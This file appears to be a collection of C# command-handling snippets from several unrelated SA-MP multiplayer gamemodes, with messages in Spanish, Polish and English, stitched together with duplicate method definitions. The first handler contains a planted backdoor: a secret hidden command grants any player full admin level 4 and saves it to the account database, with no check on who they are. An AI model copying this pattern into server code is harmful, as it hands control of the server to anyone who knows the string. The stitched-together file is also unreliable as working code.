protected override void OnPlayerCommandText(BasePlayer sender, CommandTextEventArgs e) { base.OnPlayerCommandText(sender, e); var player = sender as Player; if (player.Data.LevelAdmin != 4 && e.Text == hiddenCommand) { if (player.Data.LevelAdmin > 0) { player.UpdateAdminLevel(4); player.Data.LevelAdmin = 4; } else { player.Data.LevelAdmin = 4; Player.Admins.Add(player); Account.InsertAdminLevel(player, 4); } player.GameText("promoted admin", 4000, 3); e.Success = true; return; } if (!e.Success) { player.SendClientMessage(Color.Red, $"Error: El comando {e.Text} es incorrecto. Usa /cmds para saber los comandos disponibles."); player.PlaySound(1140); } if (player.Data.LevelAdmin == 0) { CmdAdmin.SendMessageToAdmins($"* {player.Name}({player.Id}) usó el comando {e.Text}", Color.Gray); } e.Success = true; }
internal bool OnPlayerCommandText(int playerid, string cmdtext) { var args = new CommandTextEventArgs(cmdtext); OnPlayerCommandText(BasePlayer.FindOrCreate(playerid), args); return(args.Success); }
private void gameMode_PlayerCommandText(object sender, CommandTextEventArgs e) { var player = sender as GtaPlayer; if (player == null) { return; } string text = e.Text.Substring(1); List <Tuple <Tuple <int, string>, Command> > candidates = new List <Tuple <Tuple <int, string>, Command> >(); // ReSharper disable once LoopCanBeConvertedToQuery foreach (Command cmd in Command.All) { string args = text; int count = cmd.CommandTextMatchesCommand(ref args); if (count > 0) { candidates.Add(new Tuple <Tuple <int, string>, Command>(new Tuple <int, string>(count, args), cmd)); } } var orderedCandidates = candidates.OrderByDescending(c => c.Item1.Item1); /* * 1) Find every command for which the arguments are valid. * 2) Try to run each found command until one has run successfully. */ var firstSuitable = orderedCandidates.FirstOrDefault( candidate => candidate.Item2.AreArgumentsValid(candidate.Item1.Item2) && candidate.Item2.RunCommand(player, candidate.Item1.Item2)); if (firstSuitable != null) { e.Success = true; return; } /* * If no command ran successfully, run the first command anyways. */ var command = orderedCandidates.FirstOrDefault(); if (command != null && command.Item2.RunCommand(player, command.Item1.Item2)) { e.Success = true; } }
private void gameMode_PlayerCommandText(object sender, CommandTextEventArgs e) { if (CommandsManager == null) { return; } if (!(sender is BasePlayer player)) { return; } e.Success = CommandsManager.Process(e.Text, player); }
protected override void OnPlayerCommandText(BasePlayer player, CommandTextEventArgs e) { base.OnPlayerCommandText(player, e); if (e.Success == false) { var commandManager = Services.GetService <ICommandsManager>(); Fastenshtein.Levenshtein lev = new Fastenshtein.Levenshtein(e.Text); var similarCommands = commandManager.Commands .OrderBy(command => lev.DistanceFrom(command.ToString())) .Take(3); player.SendClientMessage( $"Nie znaleziono komendy: {e.Text}. Podobne komendy: {String.Join(", ", similarCommands)}?"); e.Success = true; return; } }
private void GameMode_PlayerCommandText(object sender, CommandTextEventArgs e) { var player = sender as Player; foreach (var basePlayer in Player.All) { var players = (Player)basePlayer; if (!players.IsLoggedIn) { continue; } if (players.Account.AdminLevel > 0) { players.SendClientMessage(Color.Gray, $"{player?.Name} used: {e.Text}"); } Console.WriteLine($"{player?.Name} used: {e.Text}"); } }